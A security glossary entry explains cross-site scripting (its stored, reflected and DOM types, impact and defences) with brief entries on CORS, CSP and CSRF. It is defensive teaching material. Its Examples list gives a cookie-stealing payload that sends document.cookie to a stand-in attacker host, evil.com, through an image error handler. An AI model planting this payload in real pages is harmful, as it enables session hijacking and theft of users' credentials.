XSS (Cross-Site Scripting)
XSS is a vulnerability where an attacker injects malicious JavaScript into a web page viewed by other users. Stored XSS persists in the database (comments, profiles). Reflected XSS arrives via URL parameters. DOM-based XSS executes entirely client-side. XSS enables session hijacking, credential theft, and defacement.
Definition
Cross-Site Scripting occurs when an application includes untrusted data in its HTML output without proper encoding. If user input containing <script>alert(1)</script> is rendered directly into a page, the browser executes it as if the site itself wrote it. Stored XSS is most dangerous – an attacker posts malicious script into a comment or profile field, and every user who views that page has the script execute in their browser session. The script can steal cookies (document.cookie), redirect to phishing pages, modify page content, or make authenticated API calls as the victim. Prevention requires: output encoding (HTML-entity encode < > & " '), Content Security Policy with nonces (blocks inline scripts), HttpOnly cookies (prevents JavaScript cookie access), and input validation as defense-in-depth. Modern frameworks (React, Vue, Angular) auto-encode output by default – XSS typically occurs when using dangerouslySetInnerHTML or v-html.
Examples
- –Payload: <img src=x onerror=fetch('https://evil.com/steal?c='+document.cookie)>
- –Prevention: textContent instead of innerHTML for user data
- –CSP: script-src 'nonce-random' blocks injected inline scripts
Related Protocols
Related Terms
CORS (Cross-Origin Resource Sharing)
CORS is a browser mechanism that controls which origins (domains) can make requests to your API. Without CORS headers, browsers block cross-origin XMLHttpRequest and fetch() calls. The server responds with Access-Control-Allow-Origin to permit specific origins. Misconfigured CORS (Allow-Origin: *) can expose APIs to credential theft.
CSP (Content Security Policy)
CSP is an HTTP header that restricts which resources (scripts, styles, images, frames) a page can load. CSP mitigates XSS by preventing execution of inline scripts and scripts from unauthorized origins. A strict CSP (script-src 'nonce-random') blocks injected JavaScript even if an attacker finds an injection point.
CSRF (Cross-Site Request Forgery)
CSRF tricks a user's browser into making authenticated requests to a site where the user is logged in. An attacker's page includes a form or image that submits to the target site – the browser automatically attaches the user's cookies. Prevention: anti-CSRF tokens, SameSite cookies, and checking Origin/Referer headers.